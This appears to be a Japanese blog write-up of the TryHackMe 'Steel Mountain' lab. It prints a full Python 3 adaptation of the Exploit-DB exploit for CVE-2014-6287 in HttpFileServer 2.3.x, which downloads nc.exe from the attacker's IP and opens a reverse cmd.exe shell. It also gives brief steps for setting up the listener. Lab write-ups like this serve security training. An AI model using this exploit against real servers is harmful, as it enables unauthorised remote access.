【Try Hack Me】Steel Mountain

概要

TryHackMeのSteelMountainをやってみました。

Task1～Task3までの流れは以下の動画にまとめています。

youtu.be

Task4について

Task4はmetasploitを使用しないやり方になります。

以下のExploitを使用して攻略することになります。

www.exploit-db.com

Python3ではそのままで実行できないため、以下のように修正しました。

#!/usr/bin/python
# Exploit Title: HttpFileServer 2.3.x Remote Command Execution
# Google Dork: intext:"httpfileserver 2.3"
# Date: 04-01-2016
# Remote: Yes
# Exploit Author: Avinash Kumar Thapa aka "-Acid"
# Vendor Homepage: http://rejetto.com/
# Software Link: http://sourceforge.net/projects/hfs/
# Version: 2.3.x
# Tested on: Windows Server 2008 , Windows 8, Windows 7
# CVE : CVE-2014-6287
# Description: You can use HFS (HTTP File Server) to send and receive files.
#	       It's different from classic file sharing because it uses web technology to be more compatible with today's Internet.
#	       It also differs from classic web servers because it's very easy to use and runs "right out-of-the box". Access your remote files, over the network. It has been successfully tested with Wine under Linux.

#Usage : python Exploit.py  

#EDB Note: You need to be using a web server hosting netcat (http://:80/nc.exe).
#          You may need to run it multiple times for success!


import urllib.request
import sys

try:
	def script_create():
		urllib.request.urlopen("http://"+sys.argv[1]+":"+sys.argv[2]+"/?search=%00{.+"+save+".}")

	def execute_script():
		urllib.request.urlopen("http://"+sys.argv[1]+":"+sys.argv[2]+"/?search=%00{.+"+exe+".}")

	def nc_run():
		urllib.request.urlopen("http://"+sys.argv[1]+":"+sys.argv[2]+"/?search=%00{.+"+exe1+".}")

	ip_addr = "自分のIP" #local IP address
	local_port = "自分のポート" # Local Port number
	vbs = r"C:\Users\Public\script.vbs|dim%20xHttp%3A%20Set%20xHttp%20%3D%20createobject(%22Microsoft.XMLHTTP%22)%0D%0Adim%20bStrm%3A%20Set%20bStrm%20%3D%20createobject(%22Adodb.Stream%22)%0D%0AxHttp.Open%20%22GET%22%2C%20%22http%3A%2F%2F"+ip_addr+"%2Fnc.exe%22%2C%20False%0D%0AxHttp.Send%0D%0A%0D%0Awith%20bStrm%0D%0A%20%20%20%20.type%20%3D%201%20%27%2F%2Fbinary%0D%0A%20%20%20%20.open%0D%0A%20%20%20%20.write%20xHttp.responseBody%0D%0A%20%20%20%20.savetofile%20%22C%3A%5CUsers%5CPublic%5Cnc.exe%22%2C%202%20%27%2F%2Foverwrite%0D%0Aend%20with"
	save= "save|" + vbs
	vbs2 = "cscript.exe%20C%3A%5CUsers%5CPublic%5Cscript.vbs"
	exe= "exec|"+vbs2
	vbs3 = "C%3A%5CUsers%5CPublic%5Cnc.exe%20-e%20cmd.exe%20"+ip_addr+"%20"+local_port
	exe1= "exec|"+vbs3
	script_create()
	execute_script()
	nc_run()
except:
	print ("[.]Something went wrong..! Usage is :[.] python exploit.py    Dont forgot to change the Local IP address and Port number on the script")

Kaliでncを待ち受け、Kaliの「nc.exe」があるディレクトリでHTTPサーバを立て、上記を実行するとシェルが取れます。

HTTPサーバの起動

権限昇格はTask3と同じやり方になります。